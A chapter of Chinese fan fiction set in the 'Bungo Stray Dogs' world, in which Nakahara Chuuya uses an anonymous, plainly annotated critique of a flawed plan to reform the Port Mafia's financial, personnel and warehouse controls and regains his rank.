他想试着,去相信那份或许笨拙,却真挚的可能性
32.中原中也,升变
——
一个月后
港口/黑/手/党总部大楼顶层,首领办公室。
巨型落地窗外,是横滨港的璀璨夜景。
中原中也站在办公桌前,脊背挺得笔直。
他的对面,是港口/黑/手/党的首领,森鸥外。
而办公室一侧,靠墙的单人沙发里,太宰慵懒的倚靠着。
他手里把玩着一枚国际象棋的黑后,目光却落在中也笔挺的背影上。
桌后,首领正微微倾身
他的面前放着四本厚厚的文件
“真是漂亮的答卷,中也君。”
森鸥外的目光落在中也身上,像医生在审视一份完美的报告。
“‘蓝宝石之心’项目重组运行一个月,不仅追回了全部重大损失,堵上了所有监管漏洞,还在新渠道拓展上实现了百分之二十五的盈利增长……尤其在当前这样的‘审计后时代’,堪称稳定人心的典范。”
中也下颌线微微收紧,又松开。
“……是属下职责所在。”
“职责所在。”森鸥外的笑意深了些。
“但完成职责的方式,值得嘉奖,更重要的是,”
他在文件夹上点了点,“你似乎找到了一种……嗯,更‘细致’的工作方法,这很难得。”
“是,多谢首领嘉奖。”
“细致啊……”
沙发方向传来慢悠悠的声音,
太宰将棋子轻轻搁在茶几上,发出清脆的“咔哒”一声,“该不会正好体现在,每一条严谨专业的术语,都有人帮你提前整理成傻瓜都能看懂的‘儿童版’?”
中也眼角一跳,没有回头,后槽牙却微微咬紧。
森鸥外仿佛没听见太宰的阴阳怪气,笑容不变:“看来,中也君确实找到了一位……得力的协助者。”
太宰轻轻笑了起来:“毕竟,让一只只会横冲直撞的蛞蝓突然成为管理大师,比让它学会飞还不现实呢。”
中也深吸一口气,强迫自己无视那个讨厌的声音,声音硬邦邦地
“……方法有效才是关键。”
“说得对。”
森鸥外适时地接过话头
“有效是关键。那么,关于这位‘有效’的协助者,以及项目未来的长期运行架构——中也君,你有什么具体想法吗?”
想法吗……
——
二十天前
总部大楼地下二层,临时办公室
那根本不能算是个“办公室”。
位于总部地下角落的储藏室被临时清理出来,不到十五平米的房间里,一张掉漆的铁桌,两把椅子,一个文件柜,以及堆积如山的账本和报表,共同构成了中也“戴罪立功”期间的临时指挥所。
停职的准干部没有资格使用原先的楼层,而行动组普通队员的身份让他连个像样的工位都没有。
这间储藏室还是后勤科看在“他毕竟还是中原中也”的份上,勉强拨出来的。
傍晚六点,中也推开了办公室的门
“吱呀——”
未上油的铰链发出令人牙酸的摩擦声。
他草草换了右手的纱布,坐到那张螺母松了的椅子上,盯着桌上堆积如山的文件。
这些都是桥本等人留下的烂摊子。
他需要从中梳理出还能用的框架,设计新的运作流程,同时还要兼顾追赃和日常行动任务。
眼睛酸涩,肩膀的旧伤隐隐作痛。
中也抓起钢笔,试图继续审阅一份供应链合作协议,但那些密密麻麻的条款和数字在眼前模糊成一片。
烦躁
他擅长战斗,擅长在枪林弹雨中做出瞬间判断,他的战斗直觉在港/黑能坐头牌交椅
但面对这些需要耐心和精细度的文书工作……
他扔下报告,揉了揉眼睛,打算休息五分钟再开始。
“咚,咚。”
门被轻轻敲响。
不是正式的叩门声,更像是有人用指节快速碰了两下。
中也抬起头:“进。”
没有动静
他皱眉,起身拉开门。
昏暗的走廊空无一人,只有绿色安全出口标识散发着幽光。
“搞什么鬼……”
就在他准备关门时,余光瞥见地上放着一个牛皮纸文件袋。
普通的档案袋,没有任何标记。
中也捡起来,袋口没有封死,隐约能看见内里雪白的纸张。
他警惕地检查文件袋和纸张边缘,没有特殊气味,没有隐形墨水痕迹,就是最普通的复印纸。
也是,他现在已经不是准干部了。
中也失笑一声,回到桌前,打开了纸袋
里面是一份装订整齐的文件。
当他看到标题时,瞳孔骤然收缩——
正是那份被太宰设下陷阱,被桥本等人彻底扭曲,最终酿成巨大漏洞的计划书。
中也快速翻到末页,没有署名,没有标示
意有所感的,他拿起纸袋仔细查看
右下角,小小的角落里,一行罗马字清晰可见
「一名不愿透露姓名的清洁工」
清洁工……望月璃久……
审计不是已经结束了?他是正义使者演上瘾了吗?
还是为了报复自己之前的擅自调岗,打算在他墙倒众人推的时候,再补一刀?
“混蛋……”
一股郁气憋在心口
正在他打算连纸袋把文件一起扔出去的时候
天花板的风扇突然抽风,将文件吹成了雪白的浪花
也吹开了内里,用黑色中性笔写上的,密密麻麻的手写批注
假名居多,但写的异常整齐
「批注实录·精选」
项目战略定位
原文: “本项目通过垂直整合与横向协同,构建端到端的供应链解决方案,旨在实现规模经济效益与差异化竞争优势的二元统一,最终形成可持续的闭环商业模式,预期在三年周期内达成复合年均增长率不低于25%的战略目标。”
页边批注:“‘端到端’——意思是从进货到卖货全包。‘闭环’——意思是钱在我们自己圈里转,类比:‘我要开个店,从种菜到炒菜到收钱全自己干’,但问题是:谁种菜?谁炒菜?谁收钱?文件里只写了‘要开个店’,没说这些具体事谁干。这就像请柬写‘将有盛宴’,但不写几点开席,在哪儿办,吃什么。”
项目实施周期
原文:“项目采用阶段性递进实施框架,首年为能力建设期,次年为规模扩张期,末年为价值优化期。每阶段设有里程碑节点,通过动态评估机制进行路径校准。”
页边批注:“翻译:第一年搭台子,第二年多摆摊,第三年想办法多赚钱。‘动态评估’——意思是可以改。谁改?怎么改?没写。所以实际意思是:‘我们先定个三年计划,但中途随时可以改,改不改看心情。’这不是计划书,是许愿池里的硬币。”
市场容量分析
原文:“基于横滨港近五年进出口数据及亚太地区奢侈品消费指数模型测算,目标细分市场年化潜在规模约300亿日元,且在消费升级与渠道下沉的双重驱动下,预计未来三年将保持8-10%的结构性增长。”
页边批注:“数据是三年前的。三年前一碗豚骨拉面卖680日元,现在要880了。用三年前的菜单算今天请客要花多少钱,要么是数学没学好,要么是想让请客的人多掏钱还觉得自己赚了。”
组织架构设计
原文:“采用矩阵式跨职能团队架构,核心成员五人分别承担采购寻源,物流履约,销售通路,财务管控,风控合规职能,形成相互制衡的治理结构。”
页边批注: “翻译:五个人,一个买菜,一个做菜,一个端菜,一个算账,还有一个站在旁边说‘小心别烧糊’。听起来分工明确。但如果买菜的和算账的其实是同一个人呢?文件没说不许兼职。所以理论上,桥本先生可以早上买菜(采购)中午算账(财务)下午监督别烧糊(风控)。一个人演三个角色,舞台真小。”
权责分配机制
原文: “设立独立项目组,实行财务部垂直监管,行动组协同支撑,资产回收科闭环处置的三维联动机制,确保权责清晰,流程透明。”
页边批注:“财务部管账本,行动组当保镖,回收科收破烂——三个人盯着一件事,理论完美。但谁来盯项目组自己?画个圈发现,最后所有人都向桥本先生汇报。所以这不是‘三个人互相盯’,是‘三个人都被同一个人盯’。设计者要么没养过鸡,不知道一只狐狸能骗走所有鸡,要么就是那只狐狸。”
供应链弹性策略
原文:“建立多级供应商生态体系,设立备选供应商池,通过动态资源调配机制确保主供应路径中断时的业务连续性。”
页边批注:“‘备选供应商池’,听起来像有一池子备用供应商。但池子在哪里?名单呢?附录是空的。就像说‘我家大门有备用钥匙’,但钥匙在哪儿不说。而且,谁有资格往池子里扔新名字?文件没说。所以桥本先生可以随时扔个他亲戚开的空壳公司进去。这不是备用方案,是打开的后门。”
风险量化矩阵
原文:“基于蒙特卡洛模拟与历史数据回归,构建五维度风险量化评估矩阵,涵盖运输安全,市场价格波动,政策法规变化,汇率风险及地缘政治因素,并为每项配置相应缓释策略。”
页边批注:“‘家里防盗清单:防外人爬窗,防物价上涨,防政策变化,防钱贬值,防邻居吵架。’清单里唯独没写‘防自家人偷拿’。是觉得不会发生,还是不敢写?这份清单的价值,和‘保证明天衣服不湿,但淋雨除外’的保证书差不多。”
责任追溯体系
原文:“实行岗位责任制与层级连带责任制双重约束,各环节直接责任人对其管辖范围内的作业行为承担首要责任,上级管理者负相应的管理与监督连带责任。”
页边批注:“翻译:手下人偷糖吃被抓,小组长也要挨骂。听起来很严。但文件没定义‘上级’到哪一层。如果桥本是总负责人,那他的‘上级’是谁?他自己?所以理论上他可以定规矩:‘我监督我自己,如果我偷糖,我连带骂我自己。’——然后当然不会真骂,文字游戏玩得真好。”
财务模型构建
原文:“项目净收益模型为:NP=TR- (COGS+LOG+CR+OPEX)。其中OPEX参考行业基准设定为TR的15%,该比例已涵盖管理费、行政费及常规运营支出。”
页边批注:“‘家里这个月开销大概是收入的15%’。明细呢?没有。15%怎么算的?没有。所以这里是个黑洞,什么都能往里塞:买菜钱、水电费、甚至桥本先生家的猫粮钱。另外,进货成本和运费在第十一页写了,加起来已经占了收入的68%。减掉15%黑洞,再减掉应急钱,最后能剩多少?我算了算,按这个算法,家里要存下钱得每年多挣35%,不是你们说的25%。自己写的账本,前后对不上。”
监控审计频率
原文:“建立月度经营汇报与季度现场稽核的双重监督机制,项目组每月10日前提交标准化经营报告,管理层每季度末开展现场穿透式审计。”
页边批注:“每月交一份‘一切正常’的纸条,每季度才有人来开仓库门看一眼,意味着中间这两个月,仓库里就算在发生枪战,纸条上也只会写‘一切正常’。检查的次数和东西值钱的程度完全不匹配。就像把金条放储物间,三个月才看一次。”
内控流程设计
原文:“实施延迟确认原则与交叉验证机制,所有关键操作需经二次先后确认,并定期进行不相容岗位分离测试,确保内部控制有效性。”
页边批注:“‘重要抽屉要两把钥匙同时转才能开’。听起来保险。但如果两把钥匙都在桥本先生口袋里呢?文件没写谁管钥匙。所以理论上,他可以早上用左手转第一把,中午用右手转第二把——一个人演双簧。锁是好的,看锁的人瞎了。”
危机应对预案
原文:“针对不可抗力事件导致的业务中断,设立专项储备金池,并建立直报首领办公室的绿色通道,确保危机响应时效性。”
页边批注:“‘不可抗力’包括:台风,地震,打仗。不包括:自家人偷米,账算错了假装没看见,系统有洞但用纸糊上。所以按这个预案,桥本偷米不算‘不可抗力’,粮仓空了不用上报?那没米吃了谁负责?条款在这里挖了个坑,专埋后来管粮仓的人(比如正在看文件的中原先生)。”
信息安全管理
原文:“所有项目资料均属机密级信息资产,实行最小必要知悉原则,未经授权严禁向任何非项目组成员泄露,违者按组织纪律最高标准处置。”
页边批注:“如果项目组里有人发现粮仓有老鼠,他想告发,该向谁说?按这条规定,他不能向组外任何人说。所以这条规定实际保护的是老鼠,不是粮仓。设计得很贴心,老鼠们应该很喜欢。”
中也一页一页地翻着。
最初的警惕和恼怒逐渐被震惊和恍然大悟取代
计划书的正文是那么专业,那么冠冕堂皇,充满了“端到端解决方案”,“矩阵式架构”,“蒙特卡洛模拟”这些听起来就很高大上的术语。
可现在,这些最生活化的批注:买菜,看仓库,小孩偷糖,家里防盗,备用钥匙,粮仓老鼠,把他曾经觉得“高大上”的东西一层层刨开,露出下面粗糙甚至荒谬的内核。
原来那些听起来很厉害的专业术语,翻译成大白话后,要么是常识,要么是漏洞,要么根本就是废话。
批注的语气冷静到近乎残忍,带着一种置身事外的,淡漠的讽刺。
没有愤怒的控诉,没有道德指责,只是用最普通的眼睛,看最复杂的东西。
中也翻到最后一页。
在计划书结尾的空白处,写了最后一段话,字迹比之前稍大:
“这份计划书的真正问题,不在于具体条款的漏洞,而在于它的底层设计。
它假设所有人都真诚无私,一心为组织。
它假设所有人都会按规则行事。
它假设制衡机制会自动生效。
但港口/黑/手/党不是童话王国。
这里是丛林,规则的第一条是:总有人会破坏规则。
一份不考虑‘有人会故意破坏’的计划,不是计划,是邀请函。
所以,重建不是修补漏洞。
而是从头开始,假设每个环节都可能被背叛,然后设计即使被背叛也不会全盘崩溃的系统。
这很难,很麻烦
但如果你不想第二次掉进同一个坑里,这就是唯一的路。”
中也坐在那张吱呀作响的椅子上,盯着最后那段话,整整十分钟没有动。
通风管道的嗡鸣在耳边持续。
右手伤口的刺痛一阵阵传来。
他以为是自己不懂商业,不懂管理,不懂那些复杂的模型和架构,所以才看不出问题。
可现在有人用最普通的语言告诉他:不,你不需要懂那些术语,你只需要用常识想问题,用管家的常识管仓库,用当爹的常识看孩子,用当家人的常识管钱。
那些术语不是知识的门槛,是迷惑人的烟雾。
在花园里,远藤先生曾经说过的那句话
「中原先生,如果,您实在不知道该如何做,可以先从低下头开始」
当时他还不完全理解。
现在,看着这份计划书,他忽然明白了。
用最普通的眼睛,看最复杂的东西。
他合上文件,大步迈出了办公室
——
二十分钟后
中也穿着最普通的行动组制服,出现在审计保税仓库。
当值的夜班管理员是个中年男人,看到他的瞬间差点从椅子上滑下来。
“中!中原先生?!您怎么……”
“别用敬语了,麻烦。”
中也打断他,手指蹭了蹭制服的衣领,“给我‘蓝宝石之心’项目现存所有实物的最新台账,出入库记录,还有你们日常的盘点流程。”
接下来的四小时,中也趴在堆满金属箱的货架间,跟着管理员一遍遍核对编号,检查封条完整,对比系统记录与实物位置。
他还亲自动手搬运了几个箱子,因为低估了重量而差点摔倒,却阴差阳错记下了“箱体边缘锋利易割手”,“底层货架照明不足易看错编号”,“单层密码安保程度过低需设置双重验证”等等七八条细节。
管理员从一开始的战战兢兢,到后来忍不住小声抱怨:“……其实这些问题我们报告过三次,但上面总说‘不影响大局,先维持运转’。”
中也在笔记上把那句话原样记下,重重的画了个圈。
“我会上报,以后,影响干活和安全的就是大事。”
第二天下午,财务科档案室。
中也站在成排的铁灰色档案柜前,手里捏着一份两个月前的备用金申请单副本。
“按照当时的流程,超过五十万的备用金,需要两级审批加最终科长签字。”
财务科新任科长指着流程图的末端:“但这里有个漏洞:如果申请部门负责人和审核人是同一人呢?制度没禁止。桥本就是利用这点,指派自己心腹又申请又初审,然后再自己签字。”
“那不行,得改。”
中也用笔尖戳着流程图上的节点,“申请的和初审的,必须来自不同部门,且一年内不得有直属关联。复审的人必须标注具体复核了哪三项关键数据,签了字就得负责。”
“但这样会大大增加流程时间……”
“那就想办法加快其他环节,而不是保留漏洞。”
中也转身,看向墙上贴着的《财务部权责规范》
“制度不能指望所有人都自觉,要假设有人想钻空子的时候,发现自己钻不过去。”
第五天,人事部办公室。
中也翻看着一厚摞历年晋升评估报告,眉头越皱越紧。
“打分就看‘业绩达成率’和‘上级评价’?”
他指着报告模板,“忠诚度,团队协作,风险合规意识……这些怎么算?”
人事部主任擦了擦汗:“这些……通常是主观评价,由直属上级打分。”
“如果一个组长想提拔自己人,或者排挤发现问题的人,岂不是可以随便打低分,而完全不用提供具体事例?”
中也的声音冷了下来,“这就是斋藤葵的举报被无视的原因之一,因为人事这里根本没有说理的地方!”
他抽出笔,随手扯过一张空白纸,画了一个三角
“得改,以后任何晋升或调岗,必须由直属上级,合作部门,再随机抽两名平级同事评估,必须附具体事例,且所有打分公开给评估委员会,委员会里必须有至少一名来自其他部门的负责人。”
“这……会不会太复杂?”
“复杂,才能防止权力被滥用。”
中也放下笔,眼眸中闪烁着坚决的光,“还有,设立匿名反向评估,下属可以定期对直属上级进行匿名评分,评分过低且确实有问题的,上级需要强制培训甚至降职,这不是为了造反,是为了让管理者记住,他的权力来自组织,不是私产。”
主任怔怔地看着他,仿佛第一次认识这位以武力闻名的
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前干部。
第七天,资产回收科。
“稀客啊,来问虚假报废的技术细节?还是想知道怎么把‘崭新’的定义弄得模棱两可?”
“都想。”
中也在老鸟对面坐下,面前摊开一堆便签纸,上面字迹有的工工整整有的飘逸到飞起,那是他想了三个晚上后修改的第七版。
“还有,怎么从技术上杜绝这种模棱两可。你把能想到的所有办法,物理标记,数字追踪,交叉验证什么的,全掏出来,越麻烦越难绕过越好。”
老鸟挑了挑眉:“麻烦可是我们的专长。”
他转身从柜子里拖出一个工具箱:“来来来,中原先生,先认识一下这几样小玩意儿:不可逆涂改的纳米级蚀刻笔,带唯一序列号的射频芯片,还有这个,一次性拆封即毁的联动封条。原理?我慢慢讲,您慢慢听,今天下午怕是都要耗在这儿了。”
中也听着那些复杂原理,眉头紧锁,却听得极其认真。
老鸟说到兴头上,忍不住调侃:“您这表情,跟之前追问我虚假报告要点的璃久小子有得一拼。”
中也笔尖一顿,没接话,只是指了指草图:“别废话,这个芯片的读取距离,能不能再缩短点?”
第十二天,物资调配中心仓库。
健太郎正在盘点一批刚到货的防弹材料,手持扫描枪核对标签与系统数据。
忽然,扫描枪“滴滴”报错。
一批材料的系统入库数量与实际标签数量对不上。
他皱眉,反复核对了三次,确实差了五箱。这是敏感物资,差池可大可小。
正当他准备上报时,一个声音从身后传来:“数据不对?”
健太郎吓了一跳,回头看见中也不知何时站在货架旁,手里拿着另一把扫描枪,屏幕亮着,显然已查看了一会儿。
“中原先生!是,这批货系统显示一百箱,实际标签和堆垛数只有九十五箱,但运输签收单上是一百箱……”
中也走上前,仔细查看了堆垛情况和包装:“签收单谁签的?”
“是……上周值班的宫本,但他这周调休了。”
“调休不是失联。现在打电话给他,开免提。”
健太郎硬着头皮拨通电话。电话那头的宫本起初支支吾吾,在中也几句冷静而锋锐的追问下,终于承认:那天到货时下大雨,清点匆忙,对方司机说“肯定够数”,他就先签了,想着事后补盘,结果忘了。
“忘了。”
中也重复这个词,“五箱军规级防弹材料,因为一句‘忘了’,现在不知道是在仓库的某个角落,还是流到了不该去的地方。”
他转向健太郎:“你怎么想?”
健太郎心脏狂跳,深吸一口气
“我认为……首先……应该立刻封锁……进行全仓盘点,同时……联系运输方,问他们要出货时的监控和磅单。”
他的声音起初有些抖,但发现中也的目光中只有专注和鼓励,语速逐渐流畅起来
“如果确实少发了,那就追责,如果是我们仓库管理失误,那就找出漏洞,防止……以后再犯同样的错误。”
中也看了他几秒,点头
“去做,我以项目临时负责人的身份给你权限,现在开始,这个仓库所有进出暂停,直到查清。另外,”
他看向电话,“宫本,你明天开始,去后勤部重新培训,一个月,考核通过再回岗位。有意见吗?”
电话那头传来宫本颤抖的声音:“没有……”
三小时后,盘点结果出来了
那五箱材料被误堆到了隔壁,因为标签在运输中破损,被人临时手写贴错。
问题解决后,健太郎在仓库门口追上准备离开的中也。
“中原先生……谢谢您,如果不是您刚好在……”
中也停下脚步:“你发现了问题,并打算上报,这已经比大多数‘视而不见’的人强。”
他拍了拍健太郎的肩膀,力气有些重:“继续保持你的仔细,但也要学会在必要时,坚持深挖到底。”
八天后,当中也再次站在首领办公室时,他提交的不仅是漂亮的业绩数字。
随附的,还有一整套由他亲手参与修订的,细节具体到反人性的操作手册,以及三份附属的部门管理改革草案
《财务审批权限与制衡细则》,《人事评估与晋升流程改革方案》,《仓储物流闭环管理规范》。
森鸥外读完了业绩报告,又依次浏览草案。
办公室内寂静无声,只有纸张翻动的细微声响。
中也笔直地站在桌前,眼眸凝视着桌沿的某一点
看似平静,背在身后的手指却无意识地蜷缩了一下。
森鸥外的目光停留在了某些特定页面。
他看到了仓库货架照明和保险措施改进草图,看到了财务审批的“三方节点制衡图”,看到了人事评估的“三角匿名评分体系”,也看到了那些关于物理芯片和蚀刻技术的附录。
没有一句废话,没有一句套话
全是哪怕初涉此领域的人,都能迅速明白该怎么做的,真正接地气的操作指南。
终于,他合上了最后一本草案。
“令人惊叹,中也君。”
森鸥外抬起眼,“这不仅仅是一份操作指南,这是一次……对‘系统’本身的重新编译。你甚至将触角延伸到了财务和人事——这两个通常被认为是干部禁区的领域。”
他身体微微后靠,指尖相抵。
“更让我惊讶的是其中的‘平衡感’。你既没有盲目相信技术,也没有完全依赖人的自觉,而是在每一个关键节点,都设置了物理上和制度上的多重障碍。”
“是,首领。”
中也的声音有些紧,“只有亲身体验过,才看得见,才知道怎么堵,至于计划书中涉及市场数据过时,财务模型偏差等更专业的领域,我已授权财务科和战略分析科组建了专项团队,让他们依据当前最新数据和真实成本进行重建———”
他话音未落,沙发方向传来棋子轻叩茶几的轻响
“所以,这半个月,我们英勇的前任准干部,其实是在进行一场轰轰烈烈的‘港/黑体制内外科手术’?难怪最近感觉楼里的空气都‘清新’了不少,原来是有一只突然开了窍的蛞蝓,在每一个管道里钻来钻去,用他那刚刚发育出来的新脑回路,思考怎么把老鼠洞都焊死呢。”
中也额角隐隐有青筋跳动
“……总比某些只会躺在沙发上发酵霉菌的绷带浪费装置强。”
“哎呀,好凶。”
太宰故作害怕地缩了缩,“不过,‘基层体验’收获很大嘛,都学会用‘系统编译’这种词了。让我猜猜……这份充满了‘生活智慧’和‘反人性设计’的手册,里面有多少内容,是某位‘不愿透露姓名的清洁工’用更生动的比喻,帮你把那些复杂概念嚼碎了喂下去的?”
中也身体几不可察地一僵。
森鸥外微笑着接过了主导权:“无论灵感来自何处,能将之转化为切实可行,甚至堪称严密的体系,这本身就是一种卓越的能力,中也君。”
“基于你在此次项目重建中展现出的卓越领导力,深刻的洞察力,以及——”
他意味深长地顿了顿,“放下身段深入实际的宝贵态度,我决定,即日起,恢复你港口/黑/手党/准干部的职务与相应权限。”
他从抽屉中取出一张羊皮纸,钢笔流畅的书写着
“此外,负责‘蓝宝石之心’项目重组后的长期运营与战略拓展。你提交的这份细则,将作为项目最高执行标准。”
他签下名,将崭新的准干部徽章放在羊皮纸上。
中也凝视着那枚失而复得的徽章
他没有立刻去拿,而是再次挺直脊背,声音清晰而坚定:
“属下明白,必不负所托。”
“很好。”
森鸥外颔首,目光似有若无地飘向沙发方向,“拥有能洞察土壤的眼睛,和能将土壤夯实的手腕,同样重要。希望你能妥善运用这份……来之不易的‘复合型’能力。”
太宰轻轻笑了一声,没再说话。
中也上前一步,拿起徽章和羊皮纸
“下去吧,中也君。”
森鸥外温和地摆了摆手。
“是。”
中也利落转身,大步走向门口。
经过沙发时,他脚步未停:
“绷带混蛋,下次你的任务报告要是再敢写得像你的自杀笔记一样潦草,我就用这份手册里的流程,让你重写一百遍。”
“咔哒。”
门关上了。
办公室内重新归于安静。
森鸥外端起红茶,轻轻吹了吹热气。
太宰拿起自杀手册,从书页后露出半张脸
“复合型能力……森先生的用词真是越来越委婉了,直接说‘学会了借助别人的眼睛和大脑’不就好了?”
森鸥外啜饮一口红茶,微笑
“有些窗户纸,不必由我来捅破。况且,”
他看向窗外,“一把学会了寻找并信任的利刃,其威力与价值,可远胜于过去。”
他放下茶杯,指尖搭上办公桌的抽屉把手,轻轻拉开
抽屉里,一份来自医疗部的常规汇报文件上,静静压着一封字迹工整,用词郑重的手写信笺
那是远藤守为数不多的,直接呈递首领的“私人请求”。
森鸥外的目光在其上停留了一瞬,眼底掠过一丝笑意,随即不动声色地将抽屉推回。
“这座花园里,”
他重新看向太宰,语气悠长,“似乎开始长出一些……意想不到却又格外协调的新组合了,不是吗?”